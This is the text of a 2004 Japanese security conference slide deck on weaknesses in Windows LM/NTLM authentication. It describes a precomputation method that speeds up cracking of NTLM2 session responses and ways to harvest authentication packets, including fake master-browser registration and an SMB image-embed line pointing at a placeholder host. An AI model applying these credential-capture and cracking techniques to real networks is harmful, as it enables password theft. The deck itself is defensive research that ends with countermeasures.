Optimized Attack for NTLM2 Session Response Daiji Sanai & Hidenobu Seki SecurityFriday.Com 2004.10.15 ReadMe • 注意事項 ◆本日のポイント • Windows認証は本当に弱いか • Windows認証を正しく理解する – – – – Windowsの認証方式 ハッシュの脆弱性 ネットワーク認証の脆弱性 NTLM2 Session Response • 高速パスワード解析手法 ◆ Windows 認証は弱い! • え?誰が言ったの? • あなたの会社は – POP3、FTP、HTTP、TELNET..... • Windows認証に関しては、 専門家も知らない誤解や誤情報が多い! 認証パスワードを盗めるか? • “認証から”......重要! • 認証パスワードとは – サーバーが記憶しているパスワード – クライアントが記憶しているパスワード – ネットワーク上を飛ぶ認証パスワード パスワードの盗み方(余談) • パスワードの在処 – 脳みそ、メモ帳、パソコンのアプリ、ポストイット • テクニカルである必要はない – – – – – 聞く 盗み見 ソーシャルエンジニアリング ゴミ漁り 本日は、テーマ外! キーロガー 認証パスワードの在処 Windowsが記憶する認証パスワードはどこ? • ローカルアカウント – SAM (Security Account Manager) • ドメインアカウント – Active Directory ◆記憶されるパスワードの形 • Windows 9x/Me – パスワードによるデータの暗号化(RC4) – PWLファイル • Windows NT/2000/XP/2003 – LMハッシュ、NTLMハッシュ LM ハッシュ • • • • • パスワードを鍵とした固定値のDES暗号化 パスワードは14文字まで 7文字毎に別々に暗号化 英大文字小文字の区別なし 英数字記号パスワード総数:7兆5千億弱 NTLM ハッシュ • • • • • パスワードをMD4でハッシュ化 パスワードは127文字まで有効 英大文字小文字を区別 7文字ごとの分割なし 総数≒∞ ◆ネット上を飛ぶパスワードの形 • • • • • LM 認証 NTLMv1 認証 NTLMv2 認証 NTLM2 Session Response Windows Kerberos サーバー LM 認証方式 クライアント ネゴシエーション チャレンジキー生成 (A)8byte チャレンジ 認証データ 8byte 8byte (A) 8byte DES LMハッシュ(16byte) KGS!@#$% DES 大文字化(パスワード) LM レスポンス • LM ハッシュ – 英数字記号パスワード総数:7兆5千億弱 • パスワードが7文字以下か8文字以上か瞬時に 判明 • プレコンピューティング辞書攻撃が可能 – チャレンジを固定したサーバー サーバー NTLMv1 認証方式 クライアント ネゴシエーション チャレンジキー生成 (A)8byte チャレンジ 認証データ 8byte 8byte (A) 8byte DES NTLMハッシュ(16byte) MD4 unicode(パスワード) NTLMv1 レスポンス • NTLM ハッシュ • プレコンピューティング辞書攻撃が可能 – チャレンジを固定したサーバー • 懸案事項 – DESの鍵空間はそんなに大きくない 256 = 約7京個 サーバー NTLMv2 認証方式 クライアント ネゴシエーション チャレンジキー生成 (B)8byte チャレンジキー生成 (A)8byte チャレンジ (A) 認証データ 16byte (B) (B) HMAC-MD5 ユーザー名+ドメイン名 HMAC-MD5 NTLMハッシュ NTLMv2 レスポンス • NTLM ハッシュ • DES は使用せず • クライアントチャレンジがある – プレコンピューティング辞書攻撃不可 • 暗号処理にドメイン/ワークグループ名が含まれる – ドメイン/ワークグループの指定が必須で使いにくい • ほとんど使われていない Windows Kerberos 認証方式 サーバー クライアント チャレンジキー生成 (A)16byte 認証データ (A) 36byte RC4 日付などのデータ HMAC-MD5 1 HMAC-MD5 NTLMハッシュ Windows Kerberos • NTLM ハッシュ • DES は使用せず • クライアントチャレンジがある – プレコンピューティング辞書攻撃不可 • 盗聴攻撃は可能 • ユーザー(または管理者)が使用を強制できな い – 故意に条件を変えて、回避できる Windows 認証比較 LM NTLMv1 NTLM2 session response NTLMv2 Windows Kerberos Password case sensitive No Yes Yes Yes Yes Hash algorithm DES (ECB mode) MD4 MD4 MD4 MD4 Hash value length 64bit + 64bit 128bit 128bit 128bit 128bit Client challenge No No Yes Yes Yes Response key length 56bit + 56bit + 16bit 56bit + 56bit + 16bit 56bit + 56bit + 16bit 128bit 128bit Response algorithm DES (ECB mode) DES (ECB mode) DES (ECB mode) HMAC_MD5 HMAC_MD5 & RC4 Response value length 64bit + 64bit + 64bit 64bit + 64bit + 64bit 64bit + 64bit + 64bit 128bit 36byte OS別ハッシュ&レスポンス NTLM2 session response Windows Kerberos パスワー ドハッシュ LM 9x/Me 特殊 ◎ NT4.0 LM/NTLM ◎ ◎ 2000 LM/NTLM ◎~SP2 ○ ◎~SP2 ○ ○ ◎SP3~ ○ △ XP LM/NTLM ○ ○ ◎ ○ △ 2003 LM/NTLM ○ ○ ◎ ○ △ NTLMv1 NTLMv2 ○ ○ ◆ Windows 認証の脆弱性 • ハッシュの脆弱性 • ネットワーク認証の脆弱性 違う! • よく知られる脆弱性 – 7文字暗号化問題(LMハッシュ、LM認証) – 下位互換性(LMハッシュ、LM認証) – レインボーテーブル(LMハッシュ、NTLMハッシュ) 何に対する脆弱性なのかを正しく理解する ◆ハッシュの脆弱性 • レインボーテーブルによる超高速解析 • ハッシュが抜かれるということは、手遅れ – 監査手法としては有効か Rainbow Table • パスワードハッシュ解析用計算手法 • 特にWindowsのハッシュに最適 • 既知の、パスワードとハッシュ値の組による プリコンピューティング – 超高速化 – データベースの低容量化 • チャレンジを使うLM/NTLM認証には適応不可 Rainbow Tableの効果 • RainbowCrackの例 – – – – – LM ハッシュ パスワード総数:806億(英数字)/7兆5千億(記号も) プレコンピューティング 5日/2年 ディスク容量 3GB/119GB 解析時間 20秒以内(+ディスクアクセス2分半)/ 13分以内(+ディスクアクセス1時間半) ◆ネットワーク認証の脆弱性 • 社内ユーザは、 ネットワーク認証データの取得が容易 • 認証パケットの漏洩を防ぐことは困難 強い認証が必須 ネットワーク認証の解析ツール • 良く知られるもの – ScoopLM/BeatLM – Cain – LC (L0pht Crack) LM 認証へのブルートフォース攻撃 • 2ヶ月以内に完全解読可能 – 通常の総当たり – 英数字記号パスワード総数:7兆5千億弱 • LM認証は弱く危険! LM認証を 使ってはいけない Rainbowのネットワーク認証適用 • LM/NTLM認証には適用できないと言われるが • BugTraqで公表(2004/9/14:Urity) – サーバチャレンジを強制固定する – NTLMv1も、Rainbowの対象になる • クライアントチャレンジへの適用は不可 – NTLMv2 認証 – NTLM2 session response ◆ NTLM2 session response • 密かに変わっていた認証方式 – Windows 2000に実装 – Windows 2000 SRP1からデフォルト使用 • SRP1はSP3以降に含まれている – Windows XP/2003ではデフォルト使用 • あまり知られていないが現在はデフォルト • 見た目がNTLMv1と同じ NTLM2 session response • Eric Glass氏が2003年7月に解読 • プレコンピューティングへの対策 – Eric Glass氏によれば、 プレコンピューティング辞書攻撃不可 • 正確な名称さえ不明 – 専門家の間では(Eric Glass氏による命名) NTLM2 session response サーバー 旧 NTLMv1 認証方式 クライアント ネゴシエーション チャレンジキー生成 (A)8byte チャレンジ 認証データ 8byte 8byte (A) 8byte DES NTLMハッシュ 新 NTLM2 S.R. 認証方式 クライアント サーバー ネゴシエーション チャレンジキー生成(B)8byte チャレンジキー生成 (A)8byte チャレンジ 認証データ 8byte (B) 8byte (A) 8byte DES (B) MD5 (C) (D) NTLMハッシュ 使われる条件 • NTLM2 session security使用時に登場 – LMCompatibilityLevelレジストリとは不一致 • ネゴシエーション成立時のみ – 対2000サーバー Goldは対応 • サーバ側はデフォルト使用ではなくても、 実装されていれば使用する – 対NTサーバーは利用できない • ユーザーが使用を強制できない 本当に強いのか? • クライアントチャレンジの導入 – Rainbow Tableで攻撃できない • 既知のクラックツールが使えない – Cainが対応→クラックスピードが遅い • 効率の良いクラッキング手段はないのか • 本当に安全なのか! ◆ NTLM2 S.R.の高速解析手法 注目の2バイト (A) 認証データ (B) 8byte 8byte 8byte DES ここに着目 (B) MD5 (C) (D) 7byte 7byte 2byte NTLMハッシュ(16byte) MD4 パスワード 注目の2バイト(2) (A) 認証データ (B) 8byte 8byte 8byte DES 65536通り (B) MD5 (C) (D) 7byte 7byte 2byte NTLMハッシュ(16byte) MD4 あらかじめ65536通りにグループ化された ワードDBを作成しておくことで、65536倍 の速さでクラッキングが可能になる パスワード プレコンピューティング パスワード AAAAAAA BBBBBBB CCCCCCC DDDDDDD EEEEEEEE FFFFFFFF ・ ・ ・ ・ 0000 0001 NTLM ハッシュ を計算 下2バイト で分類 0002 0003 0004 FFFE FFFF 65536通り 2バイトのDES鍵でブルートフォース攻撃 パケットより取得 8byte 8byte 8byte (A) 照合 一致 ABCD チャレンジ DES 0000000000 (B) MD5 (C) (D) 判明した鍵グループ 約0.1秒 0000 0000000000 ~ 65536通り FFFF 0000000000 パスワードDBの特定 判明した鍵グループ (NTLMハッシュ) xxxxxxxxxxxxxxxxxxxxxxxxxxxxABCD この中に パスワードがある 0000 0001 0002 ~ ABCD ~ FFFE FFFF 65536通り 解析時間とDBサイズ 解析時間(Pentium 4 2.5GHz) Cain 本方式 パスワード数 DBサイズ 24時間 2秒 735億 180GB 7日 8秒 5141億 1.3TB 14日 14秒 1兆282億 2.5TB 30日 30秒 2兆2032億 5.6TB 3ヶ月 1分半 6兆6096億 17TB 6ヶ月 3分 13兆2192億 34TB 1年 6分 26兆8056億 68TB ブルートフォースパスワード空間 • • • • • • 英小文字8文字まで 英(大小)数記号6文字まで 英(大小)数7文字まで 英(大小)8文字まで 英(大小)数記号7文字まで 英(大小)数8文字まで 2171億 7430億 3兆6千億 54兆 71兆 222兆 プレコンピューティングの限界 • 全パスワード対応は、不可能 • • • • パスワード推測アルゴリズムによる最適化 3ヶ月程度の強度までは、現実的な範囲 強いパスワードには影響がない 充分に強いパスワードの使用が必須 ◆認証パケットの取得の実際 • スイッチングハブ環境で、どうするか – スイッチも完璧ではない • 簡単に送出される認証パケット – ダミーサーバー登録 – ネットクロール – ウエブブラウズによる認証送出 ダミーサーバー登録攻撃 • コンピュータ一覧をフェイクする • マスタブラウザへの偽登録は簡単 • ドメインマスタブラウザでも可能 • 偽サーバーをマスタブラウザに登録 • クリックしやすい名前で登録 • ユーザーがクリックするのを待つ ネットクロール • 共有フォルダ/プリンタの検索機能 – – – – マイネットワークをクリック時 マスタブラウザからコンピュータリスト取得 全コンピュータの共有フォルダをチェック このとき、認証パケットを送出 • Me, XP, 2003もデフォルト有効 Microsoft KB256248,276322,320138 ネットクロールその2 • Windows XP SP2でも動作 – Windows ファイアウォールに無関係 – ファイルとプリンタ共有例外に無関係 • ドメイン所属パソコンでは動作しない ウエブブラウズによる認証送出 • 7年経っても改善されない問題 • 悪意のあるウエブサーバー – – – – SMB画像埋め込みで、認証取得可能 <img src=file://\\www.xxx.yyy\zzz> インターネットでも取得可 NTサーバーを装えば、LM認証も飛ぶ 新たな問題 • ワード文書表示で、インターネットへ認証を送出 – WebClient service in Windows XP • 悪意のあるウエブサーバーで認証を取得可能 – IIS+.doc • 2004.9.3 発見 – 2004.9.6 マイクロソフトに報告 – マイクロソフトでは、重大な問題ではないと判断 – 2004.9.27 NTBugTraqで公表 ◆ 対 策 • • • • ハッシュを抜かれるな! ネットワーク認証は、盗まれるのが前提 LM 認証は使わない 充分に強いパスワードを使う – 推定強度6ヶ月以上が必須 – 13兆番目以降のパスワード(笑) 最後に これだけは、意識して欲しい • LMハッシュとLM認証は違う! • NTLMハッシュとNTLM系認証は違う! よって • ハッシュの脆弱性と認証の脆弱性は違う
© Copyright 2024 ExpyDoc